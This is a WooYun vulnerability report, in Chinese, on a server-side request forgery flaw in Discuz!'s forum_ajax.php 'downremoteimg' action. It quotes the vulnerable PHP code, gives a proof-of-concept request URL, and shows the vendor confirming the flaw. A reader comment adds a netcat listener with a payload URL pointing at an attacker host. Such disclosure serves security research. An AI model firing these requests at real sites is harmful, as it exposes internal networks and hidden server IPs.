当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(100) 关注此漏洞

缺陷编号: WooYun-2015-151179

漏洞标题: Discuz!另一处SSRF无须登陆无须条件

相关厂商: Discuz!

漏洞作者: Jannock认证白帽子

提交时间: 2015-11-02 08:57

公开时间: 2015-12-17 14:48

漏洞类型: 设计缺陷/逻辑错误

危害等级: 中

自评Rank: 6

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 设计不当

21人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-02: 细节已通知厂商并且等待厂商处理中
2015-11-06: 厂商已经确认,细节仅向厂商公开
2015-11-09: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2015-12-31: 细节向核心白帽子及相关领域专家公开
2016-01-10: 细节向普通白帽子公开
2016-01-20: 细节向实习白帽子公开
2015-12-17: 细节向公众公开

简要描述:

SSRF对于小程序来说,并不是什么问题,但对于大企业来说,这可能是极严重的。。。并且泄露了真实IP,这对于WAF来说算是严重的问题。

详细说明:

文件:

source/module/forum/forum_ajax.php





code 区域
} elseif($_GET['action'] == 'downremoteimg') {
$_GET['message'] = str_replace(array("\r", "\n"), array($_GET['wysiwyg'] ? '<br />' : '', "\\n"), $_GET['message']);
preg_match_all("/\[img\]\s*([^\[\<\r\n]+?)\s*\[\/img\]|\[img=\d{1,4}[x|\,]\d{1,4}\]\s*([^\[\<\r\n]+?)\s*\[\/img\]/is", $_GET['message'], $image1, PREG_SET_ORDER);
preg_match_all("/\<img.+src=('|\"|)?(.*)(\\1)([\s].*)?\>/ismUe", $_GET['message'], $image2, PREG_SET_ORDER);
$temp = $aids = $existentimg = array();
if(is_array($image1) && !empty($image1)) {
foreach($image1 as $value) {
$temp[] = array(
'0' => $value[0],
'1' => trim(!empty($value[1]) ? $value[1] : $value[2])
);
}
}
if(is_array($image2) && !empty($image2)) {
foreach($image2 as $value) {
$temp[] = array(
'0' => $value[0],
'1' => trim($value[2])
);
}
}
require_once libfile('class/image');
if(is_array($temp) && !empty($temp)) {
$upload = new discuz_upload();
$attachaids = array();

foreach($temp as $value) {
$imageurl = $value[1];
$hash = md5($imageurl);
if(strlen($imageurl)) {
$imagereplace['oldimageurl'][] = $value[0];
if(!isset($existentimg[$hash])) {
$existentimg[$hash] = $imageurl;
$attach['ext'] = $upload->fileext($imageurl);
if(!$upload->is_image_ext($attach['ext'])) {
continue;
}
$content = '';
if(preg_match('/^(http:\/\/|\.)/i', $imageurl)) {
$content = dfsockopen($imageurl);
} elseif(preg_match('/^('.preg_quote(getglobal('setting/attachurl'), '/').')/i', $imageurl)) {
$imagereplace['newimageurl'][] = $value[0];
}





$content = dfsockopen($imageurl);



处,直接可以传入URL,造成SSRF

漏洞证明:

code 区域
http://xxxx/bbs/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://xxxxxxxxxxxxxx.jpg[/img]&formhash=09cec465





3.x 版本如果请求提示xss拦截要带上 formhash 加cookie,之前版本好像不用。



0.png

修复方案:

这个我也不懂!

版权声明:转载请注明来源 Jannock@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-11-06 09:58

厂商回复:

感谢您提出的问题,我们尽快予以修复

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2015-11-02 09:03 | 我的邻居王婆婆 ( 普通白帽子 | Rank:3006 漏洞数:508 | 刚发现个好洞网站就挂了)
    0

    前排

  2. 2015-11-02 09:06 | 撸大叔 ( 实习白帽子 | Rank:62 漏洞数:11 | 。。。。。。。。。)
    0

    终于等到另一处了 !

  3. 2015-11-02 09:06 | 大师兄 ( 实习白帽子 | Rank:31 漏洞数:8 | 每日必关注乌云)
    0

    观望一哥

  4. 2015-11-02 09:52 | 爱与诚一号 ( 路人 | Rank:2 漏洞数:2 )
    0

    哎哟我去这个吊这个吊

  5. 2015-11-02 11:49 | Yuku ( 实习白帽子 | Rank:54 漏洞数:26 | 数据挖掘)
    0

    牛逼

  6. 2015-11-02 14:25 | luwikes ( 普通白帽子 | Rank:548 漏洞数:82 | 潜心学习~~~)
    0

    钱呢?雷呢?

  7. 2016-03-03 14:49 | 珈蓝夜宇 ( 普通白帽子 | Rank:242 漏洞数:34 | 人不彻底绝望一次,就不会懂得什么是自己最...)
    1

    nc -vv -l -p 80 /forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://xx.xx.xx.xx/1.php?xx.jpg[/img]

登录后才能发表评论,请先 登录